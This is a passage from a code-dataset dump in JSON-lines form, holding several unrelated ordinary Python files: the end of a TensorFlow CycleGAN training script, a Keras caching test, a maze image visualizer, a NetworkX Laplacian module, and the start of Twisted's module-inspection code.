real_img]\r\n real_img = [folder_list_[j] + \"/\" + name for name in real_img]\r\n img.append(real_img)\r\n\r\n data = list(zip(img, lab))\r\n\r\n return data\r\n\r\ndef train_func(img, lab):\r\n\r\n input = []\r\n for i in range(0, FLAGS.img_fr):\r\n\r\n img_ = tf.io.read_file(img[i])\r\n img_ = tf.image.decode_png(img_, FLAGS.img_ch)\r\n img_ = tf.image.resize(img_, [FLAGS.img_size, FLAGS.img_size])\r\n\r\n img_ = img_ / 127.5 - 1.\r\n\r\n input.append(img_)\r\n\r\n input_img = input\r\n\r\n label = tf.one_hot(lab, FLAGS.classes)\r\n\r\n return input_img, label\r\n\r\n@tf.function\r\ndef run_model(model, img, training=True):\r\n return model(img, training=training)\r\n\r\ndef cal_loss(A2B_model, B2A_model, A_model, B_model, A_img, B_img):\r\n\r\n g_loss = 0\r\n d_loss = 0\r\n for i in range(FLAGS.img_fr):\r\n with tf.GradientTape() as g_tape, tf.GradientTape() as d_tape:\r\n\r\n fake_B = run_model(A2B_model, A_img[:, i], True)\r\n fake_A = run_model(B2A_model, B_img[:, i], True)\r\n\r\n fake_A_ = run_model(B2A_model, fake_B, True)\r\n fake_B_ = run_model(A2B_model, fake_A, True)\r\n\r\n DA_real = run_model(A_model, A_img[:, i], True)\r\n DB_real = run_model(B_model, B_img[:, i], True)\r\n\r\n DA_fake = run_model(A_model, fake_A, True)\r\n DB_fake = run_model(B_model, fake_B, True)\r\n\r\n G_cycle_loss = (tf.reduce_mean(tf.abs(A_img[:, i] - fake_A_)) + tf.reduce_mean(tf.abs(B_img[:, i] - fake_B_))) * 10.0\r\n G_adv_loss = tf.reduce_mean((DA_fake - tf.ones_like(DA_fake))**2) + tf.reduce_mean((DB_fake - tf.ones_like(DB_fake))**2) \\\r\n + G_cycle_loss\r\n \r\n D_adv_loss = ( tf.reduce_mean((DA_real - tf.ones_like(DA_real))**2) + tf.reduce_mean((DA_fake - tf.zeros_like(DA_fake))**2) ) * 0.5 \\\r\n + ( tf.reduce_mean((DB_real - tf.ones_like(DB_real))**2) + tf.reduce_mean((DB_fake - tf.zeros_like(DB_fake))**2) ) * 0.5\r\n\r\n g_grads = g_tape.gradient(G_adv_loss, A2B_model.trainable_variables + B2A_model.trainable_variables)\r\n d_grads = d_tape.gradient(D_adv_loss, A_model.trainable_variables + B_model.trainable_variables)\r\n\r\n g_optim.apply_gradients(zip(g_grads, A2B_model.trainable_variables + B2A_model.trainable_variables))\r\n d_optim.apply_gradients(zip(d_grads, A_model.trainable_variables + B_model.trainable_variables))\r\n\r\n g_loss += G_adv_loss\r\n d_loss += D_adv_loss\r\n\r\n g_loss /= FLAGS.img_fr\r\n d_loss /= FLAGS.img_fr\r\n\r\n return g_loss, d_loss\r\n\r\ndef main():\r\n A2B_model = fix_generator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n A2B_model.summary()\r\n B2A_model = fix_generator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n B2A_model.summary()\r\n A_model = fix_discriminator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n A_model.summary()\r\n B_model = fix_discriminator(input_shape=(FLAGS.img_size, FLAGS.img_size, FLAGS.img_ch))\r\n B_model.summary()\r\n\r\n if FLAGS.pre_checkpoint:\r\n ckpt = tf.train.Checkpoint(A2B_model=A2B_model, B2A_model=B2A_model,\r\n A_model=A_model, B_model=B_model,\r\n g_optim=g_optim, d_optim=d_optim)\r\n ckpt_manager = tf.train.CheckpointManager(ckpt, FLAGS.pre_checkpoint_path, 5)\r\n\r\n if ckpt_manager.latest_checkpoint:\r\n ckpt.restore(ckpt_manager.latest_checkpoint)\r\n print(\"==============\")\r\n print(\"Restored!!!!!!\")\r\n print(\"==============\")\r\n if FLAGS.train:\r\n count = 0\r\n A_img_path = os.listdir(FLAGS.A_tr_img_path)\r\n A_img_path = [folder for folder in A_img_path if folder !=\".DS_Store\"]\r\n A_img_path = all_data(A_img_path, FLAGS.A_tr_img_path)\r\n\r\n B_img_path = os.listdir(FLAGS.B_tr_img_path)\r\n B_img_path = [folder for folder in B_img_path if folder !=\".DS_Store\"]\r\n B_img_path = all_data(B_img_path, FLAGS.B_tr_img_path)\r\n\r\n for epoch in range(FLAGS.epochs):\r\n A_tr_img, A_tr_lab = zip(*A_img_path)\r\n A_tr_img, A_tr_lab = np.array(A_tr_img), np.array(A_tr_lab, dtype=np.int32)\r\n B_tr_img, B_tr_lab = zip(*B_img_path)\r\n B_tr_img, B_tr_lab = np.array(B_tr_img), np.array(B_tr_lab, dtype=np.int32)\r\n\r\n A_gener = tf.data.Dataset.from_tensor_slices((A_tr_img, A_tr_lab))\r\n A_gener = A_gener.shuffle(len(A_tr_img))\r\n A_gener = A_gener.map(train_func)\r\n A_gener = A_gener.batch(FLAGS.batch_size)\r\n A_gener = A_gener.prefetch(tf.data.experimental.AUTOTUNE)\r\n\r\n B_gener = tf.data.Dataset.from_tensor_slices((B_tr_img, B_tr_lab))\r\n B_gener = B_gener.shuffle(len(B_tr_img))\r\n B_gener = B_gener.map(train_func)\r\n B_gener = B_gener.batch(FLAGS.batch_size)\r\n B_gener = B_gener.prefetch(tf.data.experimental.AUTOTUNE)\r\n\r\n tr_idx = min(len(A_tr_img), len(B_tr_img)) // FLAGS.batch_size\r\n A_iter = iter(A_gener)\r\n B_iter = iter(B_gener)\r\n for step in range(tr_idx):\r\n A_images, _ = next(A_iter)\r\n B_images, _ = next(B_iter)\r\n\r\n g_loss, d_loss = cal_loss(A2B_model, B2A_model, A_model, B_model, A_images, B_images)\r\n\r\n print(\"Epoch(s): {} [{}/{}] g_loss = {}, d_loss = {}\".format(epoch, step + 1, tr_idx, g_loss, d_loss))\r\n\r\n if count % 100 == 0:\r\n for i in range(FLAGS.img_fr):\r\n fake_B = run_model(A2B_model, A_images[:, i], False)\r\n fake_A = run_model(B2A_model, B_images[:, i], False)\r\n\r\n fakeA_folder = FLAGS.save_images + \"/\" + \"fakeA_img_{}/\".format(count)\r\n fakeB_folder = FLAGS.save_images + \"/\" + \"fakeB_img_{}/\".format(count)\r\n realA_folder = FLAGS.save_images + \"/\" + \"realA_img_{}/\".format(count)\r\n realB_folder = FLAGS.save_images + \"/\" + \"realB_img_{}/\".format(count)\r\n\r\n if not os.path.isdir(fakeA_folder):\r\n os.makedirs(fakeA_folder)\r\n if not os.path.isdir(fakeB_folder):\r\n os.makedirs(fakeB_folder)\r\n if not os.path.isdir(realA_folder):\r\n os.makedirs(realA_folder)\r\n if not os.path.isdir(realB_folder):\r\n os.makedirs(realB_folder)\r\n\r\n plt.imsave(fakeA_folder + \"fakeA_img_{}.jpg\".format(i), fake_A[0] * 0.5 + 0.5)\r\n plt.imsave(fakeB_folder + \"fakeB_img_{}.jpg\".format(i), fake_B[0] * 0.5 + 0.5)\r\n plt.imsave(realA_folder + \"realA_img_{}.jpg\".format(i), A_images[0,i] * 0.5 + 0.5)\r\n plt.imsave(realB_folder + \"realB_img_{}.jpg\".format(i), B_images[0,i] * 0.5 + 0.5)\r\n if count % 500 == 0:\r\n num_ = int(count // 500)\r\n model_dir = \"%s/%s\" % (FLAGS.save_checkpoint, num_)\r\n ckpt = tf.train.Checkpoint(A2B_model=A2B_model, B2A_model=B2A_model,\r\n A_model=A_model, B_model=B_model,\r\n g_optim=g_optim, d_optim=d_optim)\r\n ckpt_dir = model_dir + \"/\" + \"Fall_GAN_{}.ckpt\".format(count)\r\n ckpt.save(ckpt_dir)\r\n\r\n count += 1\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"Kimyuhwanpeter/TF_Fall_dataset_generation_work","sub_path":"fix_gener_discrim_train_3.py","file_name":"fix_gener_discrim_train_3.py","file_ext":"py","file_size_in_byte":10550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15425450652","text":"import collections\nimport contextlib\nimport multiprocessing.dummy\nimport pickle\nimport time\nimport timeit\n\nimport numpy as np\n\nfrom tensorflow.python.keras.utils import layer_utils\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.training.tracking import tracking\n\n\n_PICKLEABLE_CALL_COUNT = collections.Counter()\n\n\nclass MyPickleableObject(tracking.AutoTrackable):\n \"\"\"Needed for InterfaceTests.test_property_cache_serialization.\n\n This class must be at the top level. This is a constraint of pickle,\n unrelated to `cached_per_instance`.\n \"\"\"\n\n @property\n @layer_utils.cached_per_instance\n def my_id(self):\n _PICKLEABLE_CALL_COUNT[self] += 1\n return id(self)\n\n\nclass LayerUtilsTest(test.TestCase):\n\n def test_property_cache(self):\n test_counter = collections.Counter()\n\n class MyObject(tracking.AutoTrackable):\n\n def __init__(self):\n super(MyObject, self).__init__()\n self._frozen = True\n\n def __setattr__(self, key, value):\n \"\"\"Enforce that cache does not set attribute on MyObject.\"\"\"\n if getattr(self, \"_frozen\", False):\n raise ValueError(\"Cannot mutate when frozen.\")\n return super(MyObject, self).__setattr__(key, value)\n\n @property\n @layer_utils.cached_per_instance\n def test_property(self):\n test_counter[id(self)] += 1\n return id(self)\n\n first_object = MyObject()\n second_object = MyObject()\n\n # Make sure the objects return the correct values\n self.assertEqual(first_object.test_property, id(first_object))\n self.assertEqual(second_object.test_property, id(second_object))\n\n # Make sure the cache does not share across objects\n self.assertNotEqual(first_object.test_property, second_object.test_property)\n\n # Check again (Now the values should be cached.)\n self.assertEqual(first_object.test_property, id(first_object))\n self.assertEqual(second_object.test_property, id(second_object))\n\n # Count the function calls to make sure the cache is actually being used.\n self.assertAllEqual(tuple(test_counter.values()), (1, 1))\n\n def test_property_cache_threaded(self):\n call_count = collections.Counter()\n\n class MyObject(tracking.AutoTrackable):\n\n @property\n @layer_utils.cached_per_instance\n def test_property(self):\n # Random sleeps to ensure that the execution thread changes\n # mid-computation.\n call_count[\"test_property\"] += 1\n time.sleep(np.random.random() + 1.)\n\n # Use a RandomState which is seeded off the instance's id (the mod is\n # because numpy limits the range of seeds) to ensure that an instance\n # returns the same value in different threads, but different instances\n # return different values.\n return int(np.random.RandomState(id(self) % (2 ** 31)).randint(2 ** 16))\n\n def get_test_property(self, _):\n \"\"\"Function provided to .map for threading test.\"\"\"\n return self.test_property\n\n # Test that multiple threads return the same value. This requires that\n # the underlying function is repeatable, as cached_property makes no attempt\n # to prioritize the first call.\n test_obj = MyObject()\n with contextlib.closing(multiprocessing.dummy.Pool(32)) as pool:\n # Intentionally make a large pool (even when there are only a small number\n # of cpus) to ensure that the runtime switches threads.\n results = pool.map(test_obj.get_test_property, range(64))\n self.assertEqual(len(set(results)), 1)\n\n # Make sure we actually are testing threaded behavior.\n self.assertGreater(call_count[\"test_property\"], 1)\n\n # Make sure new threads still cache hit.\n with contextlib.closing(multiprocessing.dummy.Pool(2)) as pool:\n start_time = timeit.default_timer() # Don't time pool instantiation.\n results = pool.map(test_obj.get_test_property, range(4))\n total_time = timeit.default_timer() - start_time\n\n # Note(taylorrobie): The reason that it is safe to time a unit test is that\n # a cache hit will be << 1 second, and a cache miss is\n # guaranteed to be >= 1 second. Empirically confirmed by\n # 100,000 runs with no flakes.\n self.assertLess(total_time, 0.95)\n\n def test_property_cache_serialization(self):\n # Reset call count. .keys() must be wrapped in a list, because otherwise we\n # would mutate the iterator while iterating.\n for k in list(_PICKLEABLE_CALL_COUNT.keys()):\n _PICKLEABLE_CALL_COUNT.pop(k)\n\n first_instance = MyPickleableObject()\n self.assertEqual(id(first_instance), first_instance.my_id)\n\n # Test that we can pickle and un-pickle\n second_instance = pickle.loads(pickle.dumps(first_instance))\n\n self.assertEqual(id(second_instance), second_instance.my_id)\n self.assertNotEqual(first_instance.my_id, second_instance.my_id)\n\n # Make sure de-serialized object uses the cache.\n self.assertEqual(_PICKLEABLE_CALL_COUNT[second_instance], 1)\n\n # Make sure the decorator cache is not being serialized with the object.\n expected_size = len(pickle.dumps(second_instance))\n for _ in range(5):\n # Add some more entries to the cache.\n _ = MyPickleableObject().my_id\n self.assertEqual(len(_PICKLEABLE_CALL_COUNT), 7)\n size_check_instance = MyPickleableObject()\n _ = size_check_instance.my_id\n self.assertEqual(expected_size, len(pickle.dumps(size_check_instance)))\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"graphcore/tensorflow","sub_path":"tensorflow/python/keras/utils/layer_utils_test.py","file_name":"layer_utils_test.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"3"}
+{"seq_id":"25147099808","text":"from enum import Enum\nfrom PIL import Image, ImageDraw\nfrom tkinter import filedialog\nimport sys\n\nclass TileType(Enum):\n \"\"\"\n An enumerator to make tile types easier to read.\n \"\"\"\n \n UNKNOWN = \"0\"\n WALL = \"X\"\n EMPTY = \"-\"\n START = \"S\"\n END = \"E\"\n\nclass Tile:\n \"\"\"\n The tile contains the character data, as well as a static method to convert a character to TileType.\n \"\"\"\n def __init__(self, type: TileType) -> None:\n self.type = type\n \n def __str__(self) -> str:\n return self.type.value\n \n @staticmethod\n def getTileType(tileChar: str) -> TileType:\n \"\"\"\n Converts the character provided to a TileType\n \"\"\"\n tileChar = \"-\" if tileChar == \" \" else tileChar\n if tileChar in [\"X\", \"-\", \"S\", \"E\"]:\n return TileType(tileChar)\n return TileType.UNKNOWN\n \n\nclass Maze:\n \"\"\"\n The maze will read in the maze data from a file or string.\n It will then colour an n by n area of an image with the colour corresponding tile colour.\n Finally, ask the user where they want to save the image. \n \"\"\"\n mazeTiles = []\n tileSizePx = 8\n\n def __init__(self) -> None:\n pass\n \n def readMazeFromFile(self, filePath: str) -> None:\n \"\"\"\n Read in the maze data from the file.\n \"\"\"\n data = \"\"\n print(f\"Opening file {filePath}\")\n with open(filePath, \"r\") as file:\n data = file.read()\n \n self.readMazeFromString(data)\n\n def readMazeFromString(self, maze: str) -> None:\n \"\"\"\n Create and populate a 2D array of tiles from the inputted string.\n \"\"\"\n self.mazeTiles = []\n splStr = maze.split(\"\\n\")\n for i, row in enumerate(splStr):\n print(f\"Reading line {i}\")\n self.mazeTiles.append([])\n for c in row:\n self.mazeTiles[-1].append(Tile(Tile.getTileType(c)))\n\n self.mazeWidth = len(self.mazeTiles[0])\n self.mazeHeight = len(self.mazeTiles)\n\n\n def drawMaze(self) -> None:\n \"\"\"\n For each tile, colour an n by n area of the image by the corresponding colour.\n \"\"\"\n size = (self.mazeWidth * self.tileSizePx, self.mazeHeight * self.tileSizePx)\n im = Image.new(\"RGB\", size)\n\n imgDraw = ImageDraw.Draw(im)\n for y, row in enumerate(self.mazeTiles):\n print(f\"Writing row {y+1} out of {len(self.mazeTiles)}\")\n for x, tile in enumerate(row):\n area = [(x*self.tileSizePx, y*self.tileSizePx), ((x+1)*self.tileSizePx - 1, (y+1)*self.tileSizePx - 1)]\n fill = \"#f00\"\n if tile.type == TileType.WALL:\n fill = \"#000\"\n elif tile.type == TileType.EMPTY:\n fill = \"#fff\"\n elif tile.type == TileType.START:\n fill = \"#0f0\"\n elif tile.type == TileType.END:\n fill = \"#00f\"\n\n imgDraw.rectangle(area, fill)\n \n im.show()\n\n self.im = im\n\n\n pass\n\n def saveImage(self, defaultName: str) -> None:\n \"\"\"\n Prompt the user to save the image somewhere on disk.\n \"\"\"\n f = filedialog.asksaveasfile(\n initialfile=defaultName,\n mode=\"wb\",\n confirmoverwrite=True,\n filetypes=(\n (\"Portable Network Graphics (*.png)\", \"*.png\"),\n (\"All Files (*.*)\", \"*.*\")\n ),\n defaultextension=\".png\"\n )\n if not f:\n return\n filename = f.name\n extension = filename.split(\".\")[-1]\n self.im.save(filename, extension)\n f.close()\n\n\n def outputMazeToConsole(self) -> None:\n \"\"\"\n Output the maze to console.\n \"\"\"\n for row in self.mazeTiles:\n for tile in row:\n print(str(tile), end=\"\")\n print(\"\\n\")\n\nif __name__ == \"__main__\":\n if len(sys.argv) >= 2:\n fileName = sys.argv[1]\n else:\n print(\"Select the maze file from the dialog box\")\n fileName = filedialog.askopenfilename(\n filetypes = (\n (\"Text files (*.txt)\", \"*.txt\"),\n (\"All files (*.*)\", \"*.*\")\n ),\n defaultextension=\".txt\"\n )\n\n maze = Maze()\n maze.readMazeFromFile(fileName)\n maze.drawMaze()\n\n if len(sys.argv) >= 3:\n if sys.argv[2] == \"--nosave\":\n exit(0)\n\n wishToSave = input(\"Do you want to save this image [y/n]: \").lower() == \"y\"\n if wishToSave:\n name = fileName.split(\"/\")[-1]\n maze.saveImage(name)\n","repo_name":"Datskalf/MazeVisualizer","sub_path":"Visualizer.py","file_name":"Visualizer.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19236290172","text":"import networkx as nx\n__author__ = \"\\n\".join(['Aric Hagberg (hagberg@lanl.gov)',\n 'Pieter Swart (swart@lanl.gov)',\n 'Dan Schult(dschult@colgate.edu)'])\n\n__all__ = ['laplacian', 'generalized_laplacian','normalized_laplacian',\n 'laplacian_matrix', 'generalized_laplacian','normalized_laplacian',\n ]\n\n\ndef laplacian_matrix(G, nodelist=None, weight='weight'):\n \"\"\"Return the Laplacian matrix of G.\n\n The graph Laplacian is the matrix L = D - A, where\n A is the adjacency matrix and D is the diagonal matrix of node degrees.\n\n Parameters\n ----------\n G : graph\n A NetworkX graph \n\n nodelist : list, optional \n The rows and columns are ordered according to the nodes in nodelist.\n If nodelist is None, then the ordering is produced by G.nodes().\n\n weight : string or None, optional (default='weight')\n The edge data key used to compute each value in the matrix.\n If None, then each edge has weight 1.\n\n Returns\n -------\n L : NumPy array\n Laplacian of G.\n\n Notes\n -----\n For MultiGraph/MultiDiGraph, the edges weights are summed.\n See to_numpy_matrix for other options.\n\n See Also\n --------\n to_numpy_matrix\n normalized_laplacian\n \"\"\"\n try:\n import numpy as np\n except ImportError:\n raise ImportError(\n \"laplacian() requires numpy: http://scipy.org/ \")\n # this isn't the most efficient way to do this...\n if G.is_multigraph():\n A=np.asarray(nx.to_numpy_matrix(G,nodelist=nodelist,weight=weight))\n I=np.identity(A.shape[0])\n D=I*np.sum(A,axis=1)\n L=D-A\n return L\n # Graph or DiGraph, this is faster than above \n if nodelist is None:\n nodelist=G.nodes()\n n=len(nodelist)\n index=dict( (n,i) for i,n in enumerate(nodelist) )\n L = np.zeros((n,n))\n for ui,u in enumerate(nodelist):\n totalwt=0.0\n for v,d in G[u].items():\n try:\n vi=index[v]\n except KeyError:\n continue\n wt=d.get(weight,1)\n L[ui,vi]= -wt\n totalwt+=wt\n L[ui,ui]= totalwt\n return L\n\n\ndef normalized_laplacian_matrix(G, nodelist=None, weight='weight'):\n r\"\"\"Return the normalized Laplacian matrix of G.\n\n The normalized graph Laplacian is the matrix\n \n .. math::\n \n NL = D^{-1/2} L D^{-1/2}\n\n where `L` is the graph Laplacian and `D` is the diagonal matrix of\n node degrees.\n\n Parameters\n ----------\n G : graph\n A NetworkX graph \n\n nodelist : list, optional \n The rows and columns are ordered according to the nodes in nodelist.\n If nodelist is None, then the ordering is produced by G.nodes().\n\n weight : string or None, optional (default='weight')\n The edge data key used to compute each value in the matrix.\n If None, then each edge has weight 1.\n\n Returns\n -------\n L : NumPy array\n Normalized Laplacian of G.\n\n Notes\n -----\n For MultiGraph/MultiDiGraph, the edges weights are summed.\n See to_numpy_matrix for other options.\n\n See Also\n --------\n laplacian\n\n References\n ----------\n .. [1] Fan Chung-Graham, Spectral Graph Theory, \n CBMS Regional Conference Series in Mathematics, Number 92, 1997.\n \"\"\"\n # FIXME: this isn't the most efficient way to do this...\n try:\n import numpy as np\n except ImportError:\n raise ImportError(\n \"normalized_laplacian() requires numpy: http://scipy.org/ \")\n if G.is_multigraph():\n A=np.asarray(nx.to_numpy_matrix(G,nodelist=nodelist,weight=weight))\n d=np.sum(A,axis=1)\n n=A.shape[0]\n I=np.identity(n)\n L=I*d-A\n osd=np.zeros(n)\n for i in range(n):\n if d[i]>0: osd[i]=np.sqrt(1.0/d[i])\n T=I*osd\n L=np.dot(T,np.dot(L,T))\n return L\n # Graph or DiGraph, this is faster than above \n if nodelist is None:\n nodelist = G.nodes()\n n=len(nodelist)\n L = np.zeros((n,n))\n deg = np.zeros((n,n))\n index=dict( (n,i) for i,n in enumerate(nodelist) )\n for ui,u in enumerate(nodelist):\n totalwt=0.0\n for v,data in G[u].items():\n try:\n vi=index[v]\n except KeyError:\n continue\n wt=data.get(weight,1)\n L[ui,vi]= -wt\n totalwt+=wt\n L[ui,ui]= totalwt\n if totalwt>0.0:\n deg[ui,ui]= np.sqrt(1.0/totalwt)\n L=np.dot(deg,np.dot(L,deg))\n return L\ncombinatorial_laplacian=laplacian_matrix\ngeneralized_laplacian=normalized_laplacian_matrix\nnormalized_laplacian=normalized_laplacian_matrix\nlaplacian=laplacian_matrix\n\n\n# fixture for nose tests\ndef setup_module(module):\n from nose import SkipTest\n try:\n import numpy\n except:\n raise SkipTest(\"NumPy not available\")\n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/linalg/laplacianmatrix.py","file_name":"laplacianmatrix.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"}
+{"seq_id":"31298532713","text":"from __future__ import division, absolute_import, print_function\n\n__metaclass__ = type\n\n# let's try to keep path imports to a minimum...\nfrom os.path import dirname, split as splitpath\n\nimport sys\nimport inspect\nimport warnings\nimport zipimport\n\nfrom zope.interface import Interface, implementer\n\nfrom twisted.python.compat import nativeString\nfrom twisted.python.components import registerAdapter\nfrom twisted.python.filepath import FilePath, UnlistableError\nfrom twisted.python.reflect import namedAny\nfrom twisted.python.zippath import ZipArchive\n\n\n_nothing = object()\n\nPYTHON_EXTENSIONS = ['.py']\nOPTIMIZED_MODE = __doc__ is None\nif OPTIMIZED_MODE:\n PYTHON_EXTENSIONS.append('.pyo')\nelse:\n PYTHON_EXTENSIONS.append('.pyc')\n\ndef _isPythonIdentifier(string):\n \"\"\"\n cheezy fake test for proper identifier-ness.\n\n @param string: a L{str} which might or might not be a valid python\n identifier.\n @return: True or False\n \"\"\"\n textString = nativeString(string)\n return (' ' not in textString and\n '.' not in textString and\n '-' not in textString)\n\n\n\ndef _isPackagePath(fpath):\n # Determine if a FilePath-like object is a Python package. TODO: deal with\n # __init__module.(so|dll|pyd)?\n extless = fpath.splitext()[0]\n basend = splitpath(extless)[1]\n return basend == \"__init__\"\n\n\n\nclass _ModuleIteratorHelper:\n \"\"\"\n This mixin provides common behavior between python module and path entries,\n since the mechanism for searching sys.path and __path__ attributes is\n remarkably similar.\n \"\"\"\n\n def iterModules(self):\n \"\"\"\n Loop over the modules present below this entry or package on PYTHONPATH.\n\n For modules which are not packages, this will yield nothing.\n\n For packages and path entries, this will only yield modules one level\n down; i.e. if there is a package a.b.c, iterModules on a will only\n return a.b. If you want to descend deeply, use walkModules.\n\n @return: a generator which yields PythonModule instances that describe\n modules which can be, or have been, imported.\n \"\"\"\n yielded = {}\n if not self.filePath.exists():\n return\n\n for placeToLook in self._packagePaths():\n try:\n children = sorted(placeToLook.children())\n except UnlistableError:\n continue\n\n for potentialTopLevel in children:\n ext = potentialTopLevel.splitext()[1]\n potentialBasename = potentialTopLevel.basename()[:-len(ext)]\n if ext in PYTHON_EXTENSIONS:\n # TODO: this should be a little choosier about which path entry\n # it selects first, and it should do all the .so checking and\n # crud\n if not _isPythonIdentifier(potentialBasename):\n continue\n modname = self._subModuleName(potentialBasename)\n if modname.split(\".\")[-1] == '__init__':\n # This marks the directory as a package so it can't be\n # a module.\n continue\n if modname not in yielded:\n yielded[modname] = True\n pm = PythonModule(modname, potentialTopLevel, self._getEntry())\n assert pm != self\n yield pm\n else:\n if (ext or not _isPythonIdentifier(potentialBasename)\n or not potentialTopLevel.isdir()):\n continue\n modname = self._subModuleName(potentialTopLevel.basename())\n for ext in PYTHON_EXTENSIONS:\n initpy = potentialTopLevel.child(\"__init__\"+ext)\n if initpy.exists() and modname not in yielded:\n yielded[modname] = True\n pm = PythonModule(modname, initpy, self._getEntry())\n assert pm != self\n yield pm\n break\n\n def walkModules(self, importPackages=False):\n \"\"\"\n Similar to L{iterModules}, this yields self, and then every module in my\n package or entry, and every submodule in each package or entry.\n\n In other words, this is deep, and L{iterModules} is shallow.\n \"\"\"\n yield self\n for package in self.iterModules():\n for module in package.walkModules(importPackages=importPackages):\n yield module\n\n def _subModuleName(self, mn):\n \"\"\"\n This is a hook to provide packages with the ability to specify their names\n as a prefix to submodules here.\n \"\"\"\n return mn\n\n def _packagePaths(self):\n \"\"\"\n Implement in subclasses to specify where to look for modules.\n\n @return: iterable of FilePath-like objects.\n \"\"\"\n raise NotImplementedError()\n\n def _getEntry(self):\n \"\"\"\n Implement in subclasses to specify what path entry submodules will come\n from.\n\n @return: a PathEntry instance.\n \"\"\"\n raise NotImplementedError()\n\n\n def __getitem__(self, modname):\n \"\"\"\n Retrieve a module from below this path or package.\n\n @param modname: a str naming a module to be loaded. For entries, this\n is a top-level, undotted package name, and for packages it is the name\n of the module without the package prefix. For example, if you have a\n PythonModule representing the 'twisted' package, you could use::\n\n twistedPackageObj['python']['modules']\n\n to retrieve this module.\n\n @raise: KeyError if the module is not found.\n\n @return: a PythonModule.\n \"\"\"\n for module in self.iterModules():\n if module.name == self._subModuleName(modname):\n return module\n raise KeyError(modname)\n\n def __iter__(self):\n \"\"\"\n Implemented to raise NotImplementedError for clarity, so that attempting to\n loop over this object won't call __getitem__.\n\n Note: in the future there might be some sensible default for iteration,\n like 'walkEverything', so this is deliberately untested and undefined\n behavior.\n \"\"\"\n raise NotImplementedError()\n\nclass PythonAttribute:\n \"\"\"\n I represent a function, class, or other object that is present.\n\n @ivar name: the fully-qualified python name of this attribute.\n\n @ivar onObject: a reference to a PythonModule or other PythonAttribute that\n is this attribute's logical parent.\n\n @ivar name: the fully qualified python name of the attribute represented by\n this class.\n \"\"\"\n def __init__(self, name, onObject, loaded, pythonValue):\n \"\"\"\n Create a PythonAttribute. This is a private constructor. Do not construct\n me directly, use PythonModule.iterAttributes.\n\n @param name: the FQPN\n @param onObject: see ivar\n @param loaded: always True, for now\n @param pythonValue: the value of the attribute we're pointing to.\n \"\"\"\n self.name = name\n self.onObject = onObject\n self._loaded = loaded\n self.pythonValue = pythonValue\n\n def __repr__(self):\n return 'PythonAttribute<%r>'%(self.name,)\n\n def isLoaded(self):\n \"\"\"\n Return a boolean describing whether the attribute this describes has\n actually been loaded into memory by importing its module.\n\n Note: this currently always returns true; there is no Python parser\n support in this module yet.\n \"\"\"\n return self._loaded\n\n def load(self, default=_nothing):\n \"\"\"\n Load the value associated with this attribute.\n\n @return: an arbitrary Python object, or 'default' if there is an error\n loading it.\n \"\"\"\n return self.pythonValue\n\n def iterAttributes(self):\n for name, val in inspect.getmembers(self.load()):\n yield PythonAttribute(self.name+'.'+name, self, True, val)\n\nclass PythonModule(_ModuleIteratorHelper):\n \"\"\"\n Representation of a module which could be imported from sys.path.\n\n @ivar name: the fully qualified python name of this module.\n\n @ivar filePath: a FilePath-like object which points to the location of this\n module.\n\n @ivar pathEntry: a L{PathEntry} instance which this module was located\n from.\n \"\"\"\n\n def __init__(self, name, filePath, pathEntry):\n \"\"\"\n Create a PythonModule. Do not construct this directly, instead inspect a\n PythonPath or other PythonModule instances.\n\n @param name: see ivar\n @param filePath: see ivar\n @param pathEntry: see ivar\n \"\"\"\n _name = nativeString(name)\n assert not _name.endswith(\".__init__\")\n self.name = _name\n self.filePath = filePath\n self.parentPath = filePath.parent()\n self.pathEntry = pathEntry\n\n def _getEntry(self):\n return self.pathEntry\n\n def __repr__(self):\n \"\"\"\n Return a string representation including the module name.\n \"\"\"\n return 'PythonModule<%r>' % (self.name,)\n\n\n def isLoaded(self):\n \"\"\"\n Determine if the module is loaded into sys.modules.\n\n @return: a boolean: true if loaded, false if not.\n \"\"\"\n return self.pathEntry.pythonPath.moduleDict.get(self.name) is not None\n\n\n def iterAttributes(self):\n \"\"\"\n List all the attributes defined in this module.\n\n Note: Future work is planned here to make it possible to list python\n attributes on a module without loading the module by inspecting ASTs or\n bytecode, but currently any iteration of PythonModule objects insists\n they must be loaded, and will use inspect.getmodule.\n\n @raise NotImplementedError: if this module is not loaded.\n\n @return: a generator yielding PythonAttribute instances describing the\n attributes of this module.\n \"\"\"\n if not self.isLoaded():\n raise NotImplementedError(\n \"You can't load attributes from non-loaded modules yet.\")\n for name, val in inspect.getmembers(self.load()):\n yield PythonAttribute(self.name+'.'+name, self, True, val)\n\n def isPackage(self):\n \"\"\"\n Returns true if this module is also a package, and might yield something\n from iterModules.\n \"\"\"\n return _isPackagePath(self.filePath)\n\n def load(self, default=_nothing):\n \"\"\"\n Load this module.\n\n @param default: if specified, the value to return in case of an error.\n\n @return: a genuine python module.\n\n @raise: any type of exception. Importing modules is a risky business;\n the erorrs of any code run at module scope may be raised from here, as\n well as ImportError if something bizarre happened to the system path\n between the discovery of this PythonModule object and the attempt to\n import it. If you specify a default, the error will be swallowed\n entirely, and not logged.\n\n @rtype: types.ModuleType.\n \"\"\"\n try:\n return self.pathEntry.pythonPath.moduleLoader(self.name)\n except: # this needs more thought...\n if default is not _nothing:\n return default\n raise\n\n def __eq__(self, other):\n \"\"\"\n PythonModules with the same name are equal.\n \"\"\"\n if not isinstance(other, PythonModule):\n return False\n return other.name == self.name\n\n def __ne__(self, other):\n \"\"\"\n PythonModules with different names are not equal.\n \"\"\"\n if not isinstance(other, PythonModule):\n return True\n return other.name != self.name\n\n def walkModules(self, importPackages=False):\n if importPackages and self.isPackage():\n self.load()\n 